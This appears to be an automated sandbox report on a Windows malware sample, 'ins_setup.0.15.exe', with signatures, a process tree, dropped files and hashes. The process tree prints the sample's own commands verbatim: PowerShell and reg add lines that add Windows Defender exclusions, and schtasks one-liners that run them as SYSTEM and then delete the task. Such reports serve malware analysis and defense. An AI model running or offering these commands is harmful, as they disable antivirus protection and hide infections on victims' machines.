Analysis

  • max time kernel
    150s
  • max time network
    137s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/11/2026, 19:31

General

  • Target
    ins_setup.0.15.exe
  • Size 35.7MB
  • Sample261107-x8cjma1vbx
  • SHA256 918c6a92f57b972502212ee8ca82146c28c042ab99e67f1d1f5ef5524318ab4e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ins_setup.0.15.exe
    "C:\Users\Admin\AppData\Local\Temp\ins_setup.0.15.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4996
  • C:\Users\Public\4baAAD\3g3v8P.exe
    "C:\Users\Public\4baAAD\3g3v8P.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4560
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1156
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4baAAD\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4764
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4baAAD\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1768
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:6124
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5288
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2028
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5684
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2568
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3884
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5612
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5756
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4132
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4392
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:616
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4484
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4212
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1508
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:984
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5012
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1108
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5676
                      • C:\Users\Public\4baAAD\3g3v8P.exe
                        "C:\Users\Public\4baAAD\3g3v8P.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:808
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4baAAD" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2352
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4baAAD" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:3304
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4512
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2768
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3420
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5396
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3500

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 8e7b334c54b5a9b095ce4bfbf59e94927c850f5f2fbae35db64b8945ef59ae5f
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 fe2935a35e618aa54ba0e626e2099b83abd37d52d6b3e937925a17585292435c
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 e09ea714c9d6c03434144d7e8e157863fd8cdcd9ff73023cd942b3bdfe436cf1
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 7ac394be208a45b817b62acc7166dad776b23be0e20ba8457bf1f42758cfca0b
                              • MD5 SHA1 SHA512 TLSH

                              __PSScriptPolicyTest_bnvgt2yb.5gj.psm1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bnvgt2yb.5gj.psm1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              3g3v8P.exe

                              • Path C:\Users\Public\4baAAD\3g3v8P.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\4baAAD\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 9d6828e95b15c2aee08772845da4f98a49f56f7087b336afa9e4319c6dbec228
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\4baAAD\adoresd.dat
                              • Size 4.8MB
                              • SHA256 af9eb13c8c632dbb0450237582b55d329f1e272e8930f291b4bed5518b38f1c9
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\4baAAD\msadox.tb
                              • Size 8KB
                              • SHA256 860ebc5cf65d25c35d866ce2c1bb9ca5e9b2c6ea0029c5e532fb85179f5222b6
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/808-594-0x00007FF8C2C90000-0x00007FF8C2C92000-memory.dmp

                              memory/808-583-0x00000185EFBE0000-0x00000185F04B7000-memory.dmp

                              memory/808-578-0x00000185EFBE0000-0x00000185F04B7000-memory.dmp

                              memory/808-593-0x00000185EFBE0000-0x00000185F04B7000-memory.dmp

                              memory/808-588-0x00000185EFBE0000-0x00000185F04B7000-memory.dmp

                              memory/808-589-0x00000185EFBE0000-0x00000185F04B7000-memory.dmp

                              memory/808-573-0x00007FF8A0080000-0x00007FF8A059E000-memory.dmp

                              memory/808-587-0x00000185EFBE0000-0x00000185F04B7000-memory.dmp

                              memory/808-582-0x00007FF8C2CA0000-0x00007FF8C2CA2000-memory.dmp

                              memory/1156-605-0x0000021D55230000-0x0000021D5524E000-memory.dmp

                              memory/1156-606-0x0000021D55460000-0x0000021D55512000-memory.dmp

                              memory/1156-607-0x0000021D550E0000-0x0000021D550EA000-memory.dmp

                              memory/1156-609-0x0000021D55100000-0x0000021D5522F000-memory.dmp

                              memory/1156-601-0x0000021D550A0000-0x0000021D550C2000-memory.dmp

                              memory/4560-536-0x000002D1239F0000-0x000002D1242C7000-memory.dmp

                              memory/4560-544-0x000002D1239F0000-0x000002D1242C7000-memory.dmp

                              memory/4560-559-0x000002D124610000-0x000002D12469A000-memory.dmp

                              memory/4560-564-0x000002D1239F0000-0x000002D1242C7000-memory.dmp

                              memory/4560-566-0x000002D1239F0000-0x000002D1242C7000-memory.dmp

                              memory/4560-567-0x000002D1239F0000-0x000002D1242C7000-memory.dmp

                              memory/4560-556-0x000002D1239F0000-0x000002D1242C7000-memory.dmp

                              memory/4560-562-0x000002D124610000-0x000002D12469A000-memory.dmp

                              memory/4560-561-0x000002D124610000-0x000002D12469A000-memory.dmp

                              memory/4560-558-0x000002D122DF0000-0x000002D122E3E000-memory.dmp

                              memory/4560-550-0x000002D1239F0000-0x000002D1242C7000-memory.dmp

                              memory/4560-546-0x000002D1239F0000-0x000002D1242C7000-memory.dmp

                              memory/4560-545-0x000002D1239F0000-0x000002D1242C7000-memory.dmp

                              memory/4560-560-0x000002D124610000-0x000002D12469A000-memory.dmp

                              memory/4560-543-0x000002D1239F0000-0x000002D1242C7000-memory.dmp

                              memory/4560-539-0x000002D1239F0000-0x000002D1242C7000-memory.dmp

                              memory/4560-538-0x00007FF8C2CA0000-0x00007FF8C2CA2000-memory.dmp

                              memory/4560-602-0x000002D1239F0000-0x000002D1242C7000-memory.dmp

                              memory/4560-531-0x00007FF8A0080000-0x00007FF8A059E000-memory.dmp

                              memory/4560-530-0x00007FF8C2C90000-0x00007FF8C2C92000-memory.dmp

                              memory/4996-0-0x0000000002010000-0x000000000201E000-memory.dmp

                              memory/4996-525-0x00007FF8BA680000-0x00007FF8BA692000-memory.dmp

                              memory/4996-524-0x0000000002010000-0x000000000201E000-memory.dmp

                              memory/4996-504-0x00007FF8BA680000-0x00007FF8BA692000-memory.dmp

                              memory/4996-2-0x0000000002020000-0x000000000202C000-memory.dmp

                              memory/4996-1-0x0000000002010000-0x000000000201E000-memory.dmp